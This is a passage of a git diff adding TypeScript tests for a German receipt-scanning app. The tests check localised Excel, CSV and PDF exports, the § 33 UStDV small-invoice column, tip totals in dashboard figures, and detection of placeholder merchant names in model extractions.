lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
id: "r1",
|
||||
imageHash: "h1",
|
||||
originalFileName: "r1.jpg",
|
||||
fileSizeBytes: 1024,
|
||||
createdAt: "2026-08-12T10:00:00.000Z",
|
||||
updatedAt: "2026-08-12T10:00:00.000Z",
|
||||
status: "ready",
|
||||
...overrides,
|
||||
} as ProcessedReceipt;
|
||||
}
|
||||
|
||||
async function headersOf(receipts: ProcessedReceipt[], locale?: "de" | "en") {
|
||||
const buf = await generateDualSheetExcel(receipts, locale ? { locale } : {});
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as unknown as ArrayBuffer);
|
||||
const out: string[] = [];
|
||||
wb.worksheets[0].getRow(1).eachCell((c) => out.push(String(c.value ?? "")));
|
||||
return { wb, headers: out };
|
||||
}
|
||||
|
||||
describe("Export-Lokalisierung: Excel", () => {
|
||||
test("L-1: Standard ohne Option bleibt Deutsch", async () => {
|
||||
const { wb, headers } = await headersOf([receipt()]);
|
||||
expect(wb.worksheets[0].name).toBe("Belegübersicht");
|
||||
expect(wb.worksheets[1].name).toBe("Einzelpositionen Detail");
|
||||
expect(headers[2]).toBe("Händler / Aussteller");
|
||||
});
|
||||
|
||||
test("L-2: locale 'en' übersetzt Blattnamen und Kopfzeile", async () => {
|
||||
const { wb, headers } = await headersOf([receipt()], "en");
|
||||
expect(wb.worksheets[0].name).toBe("Receipts");
|
||||
expect(wb.worksheets[1].name).toBe("Line items");
|
||||
expect(headers[2]).toBe("Merchant / Issuer");
|
||||
expect(headers.some((h) => h.startsWith("Gross total"))).toBe(true);
|
||||
});
|
||||
|
||||
test("L-3: im englischen Export bleibt kein deutsches Label stehen", async () => {
|
||||
const { headers } = await headersOf([receipt({ tipAmount: 5 })], "en");
|
||||
const german = ["Netto", "Brutto", "Währung", "MwSt", "Händler", "Trinkgeld", "Plausibilität"];
|
||||
const leftovers = headers.filter((h) => german.some((g) => h.includes(g)));
|
||||
expect(leftovers).toEqual([]);
|
||||
});
|
||||
|
||||
test("L-4: Datumsformat ist sprachabhängig, Geldformat nicht", async () => {
|
||||
const de = await generateDualSheetExcel([receipt()], { locale: "de" });
|
||||
const en = await generateDualSheetExcel([receipt()], { locale: "en" });
|
||||
const read = async (buf: Buffer) => {
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as unknown as ArrayBuffer);
|
||||
const row = wb.worksheets[0].getRow(2);
|
||||
return { date: row.getCell(2).numFmt, money: row.getCell(7).numFmt };
|
||||
};
|
||||
const a = await read(de);
|
||||
const b = await read(en);
|
||||
expect(a.date).toBe("DD.MM.YYYY");
|
||||
expect(b.date).toBe("YYYY-MM-DD");
|
||||
expect(a.money).toBe(b.money);
|
||||
});
|
||||
|
||||
test("L-5: unbekannte Sprache fällt auf Deutsch zurück", async () => {
|
||||
const { wb } = await headersOf([receipt()], "fr" as unknown as "de");
|
||||
expect(wb.worksheets[0].name).toBe("Belegübersicht");
|
||||
});
|
||||
|
||||
test("L-6: negative Beträge bekommen ein Rot-Format", async () => {
|
||||
const { wb } = await headersOf([receipt()]);
|
||||
expect(wb.worksheets[0].getRow(2).getCell(7).numFmt.includes("[Red]")).toBe(true);
|
||||
});
|
||||
|
||||
test("L-7: Statusspalte ist farblich hinterlegt", async () => {
|
||||
const buf = await generateDualSheetExcel(
|
||||
[
|
||||
receipt(),
|
||||
receipt({
|
||||
id: "r2",
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
reviewField: "totalAmount",
|
||||
reviewReason: "x",
|
||||
issues: [{ field: "totalAmount", severity: "error", message: "x" }],
|
||||
},
|
||||
}),
|
||||
],
|
||||
{ locale: "de" }
|
||||
);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as unknown as ArrayBuffer);
|
||||
const sheet = wb.worksheets[0];
|
||||
const headers: string[] = [];
|
||||
sheet.getRow(1).eachCell((c) => headers.push(String(c.value ?? "")));
|
||||
const col = headers.indexOf("Plausibilität") + 1;
|
||||
const okFill = sheet.getRow(2).getCell(col).fill as { fgColor?: { argb?: string } };
|
||||
const warnFill = sheet.getRow(3).getCell(col).fill as { fgColor?: { argb?: string } };
|
||||
expect(okFill.fgColor?.argb).toBe("FFDCFCE7");
|
||||
expect(warnFill.fgColor?.argb).toBe("FFFEF3C7");
|
||||
});
|
||||
|
||||
test("L-8: Kopfzeile und erste Spalten sind fixiert", async () => {
|
||||
const { wb } = await headersOf([receipt()]);
|
||||
const view = wb.worksheets[0].views[0] as { xSplit?: number; ySplit?: number };
|
||||
expect(view.ySplit).toBe(1);
|
||||
expect(view.xSplit).toBe(3);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Export-Lokalisierung: CSV", () => {
|
||||
test("L-9: Standard bleibt Deutsch", () => {
|
||||
const head = generateAccountingCsv([receipt()]).replace(/^/, "").split("\r\n")[0];
|
||||
expect(head.includes("Händler / Aussteller")).toBe(true);
|
||||
expect(head.includes("Umsatz Brutto")).toBe(true);
|
||||
});
|
||||
|
||||
test("L-10: locale 'en' übersetzt die Kopfzeile", () => {
|
||||
const head = generateAccountingCsv([receipt({ tipAmount: 5 })], { locale: "en" })
|
||||
.replace(/^/, "")
|
||||
.split("\r\n")[0];
|
||||
expect(head.includes("Merchant / Issuer")).toBe(true);
|
||||
expect(head.includes("Total paid")).toBe(true);
|
||||
// Steuersatz englisch ohne Leerzeichen, wie in der Excel-Mappe.
|
||||
expect(head.includes("VAT 19%")).toBe(true);
|
||||
expect(head.includes("MwSt")).toBe(false);
|
||||
});
|
||||
|
||||
test("L-11: Statuswerte sind übersetzt", () => {
|
||||
const rows = generateAccountingCsv([receipt()], { locale: "en" }).split("\r\n");
|
||||
expect(rows[1].includes("Valid")).toBe(true);
|
||||
expect(rows[1].includes("Valide")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Kleinbetragsrechnung (§ 33 UStDV)", () => {
|
||||
async function cellFor(r: ProcessedReceipt, locale: "de" | "en" = "de") {
|
||||
const buf = await generateDualSheetExcel([r], { locale });
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as unknown as ArrayBuffer);
|
||||
const sheet = wb.worksheets[0];
|
||||
const headers: string[] = [];
|
||||
sheet.getRow(1).eachCell((c) => headers.push(String(c.value ?? "")));
|
||||
const col = headers.findIndex((h) => h.includes("§ 33")) + 1;
|
||||
return { value: String(sheet.getRow(2).getCell(col).value ?? ""), col, sheet };
|
||||
}
|
||||
|
||||
const gross = (value: number, currency = "EUR") =>
|
||||
receipt({ totalAmount: { value, confidence: 0.98 }, currency, netAmount: null, taxBreakdown: [] });
|
||||
|
||||
test("K-1: 250,00 € ist noch Kleinbetrag (Grenze inklusive)", async () => {
|
||||
expect((await cellFor(gross(250))).value).toBe("Ja");
|
||||
});
|
||||
|
||||
test("K-2: 250,01 € ist keiner mehr", async () => {
|
||||
expect((await cellFor(gross(250.01))).value).toBe("Nein");
|
||||
});
|
||||
|
||||
test("K-3: typischer Kassenbon ist Kleinbetrag", async () => {
|
||||
expect((await cellFor(gross(9.06))).value).toBe("Ja");
|
||||
});
|
||||
|
||||
test("K-4: Trinkgeld zählt nicht in die Grenze", async () => {
|
||||
// Rechnungsbetrag 248 € + 10 € Tip = 258 € gezahlt, aber die Rechnung
|
||||
// selbst bleibt eine Kleinbetragsrechnung.
|
||||
const r = receipt({
|
||||
totalAmount: { value: 248, confidence: 0.98 },
|
||||
tipAmount: 10,
|
||||
netAmount: null,
|
||||
taxBreakdown: [],
|
||||
});
|
||||
expect((await cellFor(r)).value).toBe("Ja");
|
||||
});
|
||||
|
||||
test("K-5: Gutschrift wird über den Betrag ohne Vorzeichen bewertet", async () => {
|
||||
expect((await cellFor(gross(-300))).value).toBe("Nein");
|
||||
expect((await cellFor(gross(-12.5))).value).toBe("Ja");
|
||||
});
|
||||
|
||||
test("K-6: Fremdwährung bleibt leer statt geraten", async () => {
|
||||
expect((await cellFor(gross(100, "CHF"))).value).toBe("");
|
||||
expect((await cellFor(gross(100, "USD"))).value).toBe("");
|
||||
});
|
||||
|
||||
test("K-7: englischer Export nutzt Yes/No", async () => {
|
||||
expect((await cellFor(gross(9.06), "en")).value).toBe("Yes");
|
||||
expect((await cellFor(gross(999), "en")).value).toBe("No");
|
||||
});
|
||||
|
||||
test("K-8: Rechtsgrundlage hängt als Kommentar an der Überschrift", async () => {
|
||||
const { sheet, col } = await cellFor(gross(9.06));
|
||||
const note = sheet.getRow(1).getCell(col).note;
|
||||
const noteText = typeof note === "string" ? note : (note?.texts ?? []).map((t) => t.text).join("");
|
||||
expect(noteText.includes("§ 33 UStDV")).toBe(true);
|
||||
expect(noteText.includes("250")).toBe(true);
|
||||
});
|
||||
|
||||
test("K-9: CSV führt dieselbe Spalte", () => {
|
||||
const csv = generateAccountingCsv([gross(9.06), gross(999), gross(50, "CHF")]);
|
||||
const rows = csv.replace(/^/, "").split("\r\n");
|
||||
const idx = rows[0].split(";").findIndex((h) => h.includes("§ 33"));
|
||||
expect(idx).toBeGreaterThan(-1);
|
||||
const valueAt = (row: string) => row.split(";")[idx].replace(/"/g, "");
|
||||
expect(valueAt(rows[1])).toBe("Ja");
|
||||
expect(valueAt(rows[2])).toBe("Nein");
|
||||
expect(valueAt(rows[3])).toBe("");
|
||||
});
|
||||
|
||||
test("K-10: die Spalte verschiebt Steuernummer und Status nicht durcheinander", async () => {
|
||||
const { sheet, col } = await cellFor(gross(9.06));
|
||||
const headers: string[] = [];
|
||||
sheet.getRow(1).eachCell((c) => headers.push(String(c.value ?? "")));
|
||||
expect(headers[col]).toBe("Steuernummer / USt-IdNr.");
|
||||
expect(headers[col + 1]).toBe("Plausibilität");
|
||||
});
|
||||
});
|
||||
|
||||
describe("KPI-Kacheln: Trinkgeld", () => {
|
||||
const withTips = [
|
||||
receipt({ id: "a", tipAmount: 5, totalAmount: { value: 31.8, confidence: 0.98 } }),
|
||||
receipt({ id: "b", tipAmount: 2.5, totalAmount: { value: 20, confidence: 0.98 } }),
|
||||
receipt({ id: "c", tipAmount: null, totalAmount: { value: 10, confidence: 0.98 } }),
|
||||
];
|
||||
|
||||
test("L-12: totalGross bleibt ohne Trinkgeld (MwSt-tragend)", () => {
|
||||
const k = calculateDashboardKPIs(withTips);
|
||||
expect(Number(k.totalGross.toFixed(2))).toBe(61.8);
|
||||
});
|
||||
|
||||
test("L-13: totalTips summiert alle Trinkgelder", () => {
|
||||
expect(Number(calculateDashboardKPIs(withTips).totalTips.toFixed(2))).toBe(7.5);
|
||||
});
|
||||
|
||||
test("L-14: totalPaid ist Brutto plus Trinkgeld", () => {
|
||||
expect(Number(calculateDashboardKPIs(withTips).totalPaid.toFixed(2))).toBe(69.3);
|
||||
});
|
||||
|
||||
test("L-15: Monatsausgaben enthalten das Trinkgeld", () => {
|
||||
const k = calculateDashboardKPIs(withTips);
|
||||
expect(Number(k.monthlySpendPaid.toFixed(2))).toBe(
|
||||
Number((k.monthlySpend + k.monthlySpendTips).toFixed(2))
|
||||
);
|
||||
expect(k.monthlySpendPaid).toBeGreaterThan(k.monthlySpend);
|
||||
});
|
||||
|
||||
test("L-16: ohne Trinkgeld bleiben die Kennzahlen unverändert", () => {
|
||||
const k = calculateDashboardKPIs([receipt({ tipAmount: null })]);
|
||||
expect(k.totalTips).toBe(0);
|
||||
expect(k.totalPaid).toBe(k.totalGross);
|
||||
expect(k.monthlySpendPaid).toBe(k.monthlySpend);
|
||||
});
|
||||
|
||||
test("L-17: leerer Datensatz erzeugt keine NaN", () => {
|
||||
const k = calculateDashboardKPIs([]);
|
||||
expect(k.totalTips).toBe(0);
|
||||
expect(k.totalPaid).toBe(0);
|
||||
expect(k.monthlySpendPaid).toBe(0);
|
||||
});
|
||||
});
|
||||
216
tests/e2e/export_pdf.test.ts
Normal file
216
tests/e2e/export_pdf.test.ts
Normal file
@@ -0,0 +1,216 @@
|
||||
/**
|
||||
* PDF-Export: Struktur, Lokalisierung und Datenintegrität.
|
||||
*
|
||||
* Die Textebene wird mit pdfjs-dist (Legacy-Build, wie im ImageProcessor)
|
||||
* extrahiert – der schnellste Weg, zu prüfen, dass die Zahlen wirklich im
|
||||
* PDF stehen und die Lokalisierung sauber ist.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import { generateReceiptPdf } from "../../src/lib/export/pdfGenerator";
|
||||
import { ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
|
||||
function receipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
merchant: { name: "REWE", address: null, taxId: "DE123456789", confidence: 0.97 },
|
||||
date: { isoDate: "2026-08-12", time: null, confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "1",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 31.8, confidence: 0.98 },
|
||||
netAmount: 26.72,
|
||||
tipAmount: null,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 5.08, netAmount: 26.72 }],
|
||||
lineItems: [
|
||||
{ description: "Vollmilch 3,5%", quantity: 2, price: 2.38, unitPrice: 1.19, taxRate: 7 },
|
||||
{ description: "Bio-Baguette", quantity: 1, price: 1.79, unitPrice: 1.79, taxRate: 19 },
|
||||
],
|
||||
suggestedCategory: "Material & Einkauf",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
id: "r1",
|
||||
imageHash: "h1",
|
||||
originalFileName: "r1.jpg",
|
||||
fileSizeBytes: 1024,
|
||||
createdAt: "2026-08-12T10:00:00.000Z",
|
||||
updatedAt: "2026-08-12T10:00:00.000Z",
|
||||
status: "ready",
|
||||
...overrides,
|
||||
} as ProcessedReceipt;
|
||||
}
|
||||
|
||||
/** Extrahiert alle Texte eines generierten PDFs (pdfjs-Legacy-Build, Node). */
|
||||
async function pdfText(bytes: Uint8Array): Promise<{ text: string[]; pages: number }> {
|
||||
const mod: any = await import("pdfjs-dist/legacy/build/pdf.mjs");
|
||||
const pdfjs = mod.default ?? mod;
|
||||
const task = pdfjs.getDocument({
|
||||
// Kopie: pdfjs übernimmt den Puffer.
|
||||
data: new Uint8Array(bytes),
|
||||
isEvalSupported: false,
|
||||
useSystemFonts: false,
|
||||
disableFontFace: true,
|
||||
});
|
||||
const doc: any = await task.promise;
|
||||
const text: string[] = [];
|
||||
try {
|
||||
for (let i = 1; i <= doc.numPages; i++) {
|
||||
const page: any = await doc.getPage(i);
|
||||
const content: any = await page.getTextContent();
|
||||
for (const item of content.items ?? []) text.push(String(item.str ?? ""));
|
||||
page.cleanup();
|
||||
}
|
||||
} finally {
|
||||
await task.destroy().catch(() => undefined);
|
||||
}
|
||||
return { text, pages: doc.numPages };
|
||||
}
|
||||
|
||||
const joined = (lines: string[]) => lines.join("\n");
|
||||
|
||||
describe("PDF-Export: Struktur", () => {
|
||||
test("P-1: erzeugt eine gültige PDF-Datei", async () => {
|
||||
const bytes = await generateReceiptPdf([receipt()]);
|
||||
expect(bytes[0]).toBe(0x25); // '%'
|
||||
expect(String.fromCharCode(bytes[1])).toBe("P");
|
||||
expect(String.fromCharCode(bytes[2])).toBe("D");
|
||||
expect(String.fromCharCode(bytes[3])).toBe("F");
|
||||
expect(bytes.length).toBeGreaterThan(1000);
|
||||
});
|
||||
|
||||
test("P-2: leerer Datensatz erzeugt eine gültige, lesbare PDF", async () => {
|
||||
const bytes = await generateReceiptPdf([]);
|
||||
const { text } = await pdfText(bytes);
|
||||
expect(joined(text)).toContain("BELEGE EXPORT");
|
||||
expect(bytes[0]).toBe(0x25);
|
||||
});
|
||||
|
||||
test("P-3: die Kartenzahl wächst mit der Belegzahl (Seitenumbruch)", async () => {
|
||||
const one = await generateReceiptPdf([receipt()]);
|
||||
const many = await generateReceiptPdf(
|
||||
Array.from({ length: 14 }, (_, i) =>
|
||||
receipt({ id: `r${i}`, totalAmount: { value: 31.8 + i, confidence: 0.98 } })
|
||||
)
|
||||
);
|
||||
const { pages: pOne } = await pdfText(one);
|
||||
const { pages: pMany } = await pdfText(many);
|
||||
expect(pMany).toBeGreaterThanOrEqual(pOne);
|
||||
});
|
||||
});
|
||||
|
||||
describe("PDF-Export: Datenintegrität", () => {
|
||||
test("P-4: Händler, Beträge und Positionen stehen im Dokument", async () => {
|
||||
const { text } = await pdfText(await generateReceiptPdf([receipt()]));
|
||||
const all = joined(text);
|
||||
expect(all).toContain("REWE");
|
||||
expect(all).toContain("26,72 €"); // Netto
|
||||
expect(all).toContain("5,08 €"); // MwSt 19 %
|
||||
expect(all).toContain("31,80 €"); // Brutto
|
||||
expect(all).toContain("Vollmilch 3,5%");
|
||||
expect(all).toContain("1,19 €"); // Einzelpreis
|
||||
expect(all).toContain("DE123456789"); // Steuernummer
|
||||
});
|
||||
|
||||
test("P-5: Trinkgeld erscheint als eigene Zeile inkl. Gesamt gezahlt", async () => {
|
||||
const r = receipt({ tipAmount: 5, totalAmount: { value: 31.8, confidence: 0.98 } });
|
||||
const { text } = await pdfText(await generateReceiptPdf([r]));
|
||||
const all = joined(text);
|
||||
expect(all).toContain("Trinkgeld");
|
||||
expect(all).toContain("5,00 €");
|
||||
expect(all).toContain("Gesamt gezahlt");
|
||||
expect(all).toContain("36,80 €");
|
||||
});
|
||||
|
||||
test("P-6: ungeprüfter Beleg erhält Status Prüfen (n)", async () => {
|
||||
const r = receipt({
|
||||
validation: {
|
||||
isMathValid: false,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: true,
|
||||
reviewField: "totalAmount",
|
||||
reviewReason: "x",
|
||||
issues: [{ field: "totalAmount", severity: "error", message: "x" }],
|
||||
},
|
||||
});
|
||||
const { text } = await pdfText(await generateReceiptPdf([r]));
|
||||
expect(joined(text)).toContain("Prüfen (1)");
|
||||
});
|
||||
|
||||
test("P-7: Bewirtungsangaben werden übernommen", async () => {
|
||||
const r = receipt({
|
||||
documentType: "BEWIRTUNGSBELEG",
|
||||
suggestedCategory: "Bewirtung",
|
||||
hospitality: { occasion: "Kundenbesuch", participants: "Max Mustermann" },
|
||||
});
|
||||
const { text } = await pdfText(await generateReceiptPdf([r]));
|
||||
const all = joined(text);
|
||||
expect(all).toContain("Kundenbesuch");
|
||||
expect(all).toContain("Max Mustermann");
|
||||
});
|
||||
|
||||
test("P-8: gemischte Währungen werden nicht zu einer Summe vermischt", async () => {
|
||||
const eur = receipt({ id: "a", currency: "EUR", totalAmount: { value: 10, confidence: 0.98 } });
|
||||
const usd = receipt({ id: "b", currency: "USD", totalAmount: { value: 5, confidence: 0.98 } });
|
||||
const { text } = await pdfText(await generateReceiptPdf([eur, usd]));
|
||||
const all = joined(text);
|
||||
expect(all).toContain("mehrere Währungen");
|
||||
expect(all).toContain("EUR: 10,00 €");
|
||||
expect(all).toContain("USD: 5,00 USD");
|
||||
});
|
||||
|
||||
test("P-9: unicode-gefährliche Zeichen werden entschärft statt zu brechen", async () => {
|
||||
const r = receipt({
|
||||
merchant: { name: "CAFÉ ✓ BERLIN ☕", address: null, taxId: null, confidence: 0.9 },
|
||||
});
|
||||
const bytes = await generateReceiptPdf([r]);
|
||||
const { text } = await pdfText(bytes);
|
||||
expect(joined(text)).toContain("CAFÉ");
|
||||
expect(joined(text)).toContain("BERLIN");
|
||||
});
|
||||
});
|
||||
|
||||
describe("PDF-Export: Lokalisierung", () => {
|
||||
test("P-10: Standard bleibt Deutsch", async () => {
|
||||
const { text } = await pdfText(await generateReceiptPdf([receipt()]));
|
||||
expect(joined(text)).toContain("BELEGE EXPORT");
|
||||
expect(joined(text)).toContain("Netto");
|
||||
expect(joined(text)).toContain("Brutto Gesamt");
|
||||
});
|
||||
|
||||
test("P-11: locale 'en' übersetzt Titel und Beschriftungen", async () => {
|
||||
const { text } = await pdfText(await generateReceiptPdf([receipt()], { locale: "en" }));
|
||||
const all = joined(text);
|
||||
expect(all).toContain("RECEIPT EXPORT");
|
||||
expect(all).toContain("Net");
|
||||
expect(all).toContain("Gross total");
|
||||
expect(all).toContain("VAT 19%");
|
||||
});
|
||||
|
||||
test("P-12: im englischen Export bleibt kein deutsches Label stehen", async () => {
|
||||
const { text } = await pdfText(await generateReceiptPdf([receipt()], { locale: "en" }));
|
||||
const german = ["BELEGE EXPORT", "Netto", "Brutto Gesamt", "MwSt gesamt", "Trinkgeld", "Prüfen"];
|
||||
const all = joined(text);
|
||||
for (const g of german) expect(all).not.toContain(g);
|
||||
});
|
||||
|
||||
test("P-13: unbekannte Sprache fällt auf Deutsch zurück", async () => {
|
||||
const bytes = await generateReceiptPdf(
|
||||
[receipt()],
|
||||
{ locale: "fr" as unknown as "de" }
|
||||
);
|
||||
const { text } = await pdfText(bytes);
|
||||
expect(joined(text)).toContain("BELEGE EXPORT");
|
||||
});
|
||||
|
||||
test("P-14: Zeitraum erscheint im Untertitel", async () => {
|
||||
const { text } = await pdfText(
|
||||
await generateReceiptPdf([receipt()], { dateFrom: "2026-01-01", dateTo: "2026-12-31" })
|
||||
);
|
||||
expect(joined(text)).toContain("Zeitraum");
|
||||
expect(joined(text)).toContain("01.01.2026");
|
||||
});
|
||||
});
|
||||
316
tests/e2e/extraction_quality.test.ts
Normal file
316
tests/e2e/extraction_quality.test.ts
Normal file
@@ -0,0 +1,316 @@
|
||||
/**
|
||||
* Extraktions-Qualität: Regressionen aus dem Wechsel auf openai/gpt-5.6-luna.
|
||||
*
|
||||
* Deckt drei Befunde ab, die live an den Demo-Belegen reproduziert wurden:
|
||||
* 1. Platzhalter-Händlernamen ("Nicht lesbar") kamen mit hoher Confidence durch
|
||||
* und landeten ungeprüft als Händlername in der Excel.
|
||||
* 2. Trinkgeld auf Bewirtungsbelegen darf nicht gegen den Bruttobetrag gerechnet
|
||||
* werden — sonst meldet Check 5 bei jedem Beleg mit Tip eine Abweichung.
|
||||
* 3. Das Modell-Schema darf `validation` nicht enthalten (wird lokal berechnet)
|
||||
* und muss für OpenAI-strict jedes Feld in `required` führen.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
validateReceiptMath,
|
||||
isPlaceholderMerchantName,
|
||||
isTipLineItem,
|
||||
CONFIDENCE_THRESHOLDS,
|
||||
} from "../../src/lib/ai/mathValidator";
|
||||
import ExcelJS from "exceljs";
|
||||
import {
|
||||
ProcessedReceipt,
|
||||
ReceiptData,
|
||||
ReceiptExtractionModelSchema,
|
||||
PENDING_VALIDATION,
|
||||
grossWithTip,
|
||||
} from "../../src/lib/schema/receipt";
|
||||
import { generateDualSheetExcel } from "../../src/lib/export/excelGenerator";
|
||||
import { generateAccountingCsv } from "../../src/lib/export/csvGenerator";
|
||||
|
||||
/** Extraktionsergebnis zu einem gespeicherten Beleg aufwerten. */
|
||||
function stored(data: ReceiptData): ProcessedReceipt {
|
||||
return {
|
||||
...data,
|
||||
id: "rcpt_test",
|
||||
imageHash: "hash_test",
|
||||
originalFileName: "test.jpg",
|
||||
fileSizeBytes: 1024,
|
||||
createdAt: "2026-08-12T10:00:00.000Z",
|
||||
updatedAt: "2026-08-12T10:00:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
}
|
||||
|
||||
function receipt(overrides: Partial<ReceiptData> = {}): ReceiptData {
|
||||
return {
|
||||
merchant: { name: "REWE", address: null, taxId: null, confidence: 0.97 },
|
||||
date: { isoDate: "2026-08-12", time: null, confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: null,
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 11.9, confidence: 0.98 },
|
||||
netAmount: 10.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.9, netAmount: 10.0 }],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: { ...PENDING_VALIDATION },
|
||||
...overrides,
|
||||
} as ReceiptData;
|
||||
}
|
||||
|
||||
describe("Extraktion: Platzhalter-Händlernamen", () => {
|
||||
const placeholders = [
|
||||
"Nicht lesbar",
|
||||
"nicht lesbar",
|
||||
"Taxiunternehmen (Name unleserlich)",
|
||||
"Unbekannter Händler",
|
||||
"Unknown",
|
||||
"n/a",
|
||||
"N/A",
|
||||
"—",
|
||||
"-",
|
||||
" ",
|
||||
"",
|
||||
];
|
||||
|
||||
for (const name of placeholders) {
|
||||
test(`EQ-1: "${name || "(leer)"}" gilt als Platzhalter`, () => {
|
||||
expect(isPlaceholderMerchantName(name)).toBe(true);
|
||||
});
|
||||
}
|
||||
|
||||
const realNames = [
|
||||
"REWE",
|
||||
"Aral Tankstelle Station",
|
||||
"BISTRO AM MARKT",
|
||||
"Apotheke am Stadtpark",
|
||||
"Trattoria Bella Vista",
|
||||
"MediaMarkt",
|
||||
"Deutsche Bahn AG",
|
||||
];
|
||||
|
||||
for (const name of realNames) {
|
||||
test(`EQ-2: "${name}" gilt NICHT als Platzhalter`, () => {
|
||||
expect(isPlaceholderMerchantName(name)).toBe(false);
|
||||
});
|
||||
}
|
||||
|
||||
test("EQ-3: Platzhalter wird trotz hoher Confidence zur Prüfung markiert", () => {
|
||||
const r = validateReceiptMath(
|
||||
receipt({
|
||||
merchant: { name: "Nicht lesbar", address: null, taxId: null, confidence: 0.99 },
|
||||
})
|
||||
);
|
||||
expect(r.needsUserReview).toBe(true);
|
||||
expect(r.reviewField).toBe("merchant");
|
||||
});
|
||||
|
||||
test("EQ-4: Echter Händlername mit hoher Confidence bleibt ungeflaggt", () => {
|
||||
const r = validateReceiptMath(receipt());
|
||||
expect(r.needsUserReview).toBe(false);
|
||||
});
|
||||
|
||||
test("EQ-5: Niedrige Confidence flaggt weiterhin unabhängig vom Namen", () => {
|
||||
const r = validateReceiptMath(
|
||||
receipt({
|
||||
merchant: {
|
||||
name: "REWE",
|
||||
address: null,
|
||||
taxId: null,
|
||||
confidence: CONFIDENCE_THRESHOLDS.merchant - 0.01,
|
||||
},
|
||||
})
|
||||
);
|
||||
expect(r.needsUserReview).toBe(true);
|
||||
expect(r.reviewField).toBe("merchant");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Extraktion: Trinkgeld auf Bewirtungsbelegen", () => {
|
||||
test("EQ-6: Trinkgeld-Positionen werden erkannt", () => {
|
||||
expect(isTipLineItem("Trinkgeld")).toBe(true);
|
||||
expect(isTipLineItem("trinkgeld")).toBe(true);
|
||||
expect(isTipLineItem("Tip")).toBe(true);
|
||||
expect(isTipLineItem("Gratuity")).toBe(true);
|
||||
});
|
||||
|
||||
test("EQ-7: Normale Positionen sind kein Trinkgeld", () => {
|
||||
expect(isTipLineItem("Pizza Margherita")).toBe(false);
|
||||
expect(isTipLineItem("San Pellegrino 0.75l")).toBe(false);
|
||||
expect(isTipLineItem("Tiramisu")).toBe(false);
|
||||
expect(isTipLineItem(null)).toBe(false);
|
||||
});
|
||||
|
||||
test("EQ-8: Trattoria-Fall — Tip zählt nicht gegen den Bruttobetrag", () => {
|
||||
// Realer Beleg: Total 31,80 (Netto 26,72 + 19% 5,08), handschriftlich
|
||||
// Trinkgeld 5,00 und Gesamtbetrag 36,80.
|
||||
const r = validateReceiptMath(
|
||||
receipt({
|
||||
merchant: { name: "Trattoria Bella Vista", address: null, taxId: null, confidence: 0.98 },
|
||||
documentType: "BEWIRTUNGSBELEG",
|
||||
totalAmount: { value: 31.8, confidence: 0.98 },
|
||||
netAmount: 26.72,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 5.08, netAmount: 26.72 }],
|
||||
lineItems: [
|
||||
{ description: "Pizza Margherita", quantity: 2, price: 25.0, unitPrice: 12.5, taxRate: 19 },
|
||||
{ description: "San Pellegrino 0.75l", quantity: 1, price: 6.8, unitPrice: null, taxRate: 19 },
|
||||
{ description: "Trinkgeld", quantity: 1, price: 5.0, unitPrice: null, taxRate: 0 },
|
||||
],
|
||||
})
|
||||
);
|
||||
expect(r.isMathValid).toBe(true);
|
||||
expect(r.needsUserReview).toBe(false);
|
||||
expect(r.issues.some((i) => i.field === "lineItems")).toBe(false);
|
||||
});
|
||||
|
||||
test("EQ-9: Ohne Tip-Ausnahme bliebe eine echte Artikel-Abweichung erkennbar", () => {
|
||||
const r = validateReceiptMath(
|
||||
receipt({
|
||||
totalAmount: { value: 31.8, confidence: 0.98 },
|
||||
netAmount: 26.72,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 5.08, netAmount: 26.72 }],
|
||||
lineItems: [
|
||||
{ description: "Pizza Margherita", quantity: 2, price: 25.0, unitPrice: 12.5, taxRate: 19 },
|
||||
{ description: "Dessert", quantity: 1, price: 11.8, unitPrice: null, taxRate: 19 },
|
||||
],
|
||||
})
|
||||
);
|
||||
expect(r.issues.some((i) => i.field === "lineItems")).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Trinkgeld: tipAmount-Feld", () => {
|
||||
const trattoria = () =>
|
||||
receipt({
|
||||
merchant: { name: "Trattoria Bella Vista", address: null, taxId: null, confidence: 0.98 },
|
||||
documentType: "BEWIRTUNGSBELEG",
|
||||
totalAmount: { value: 31.8, confidence: 0.98 },
|
||||
netAmount: 26.72,
|
||||
tipAmount: 5.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 5.08, netAmount: 26.72 }],
|
||||
lineItems: [
|
||||
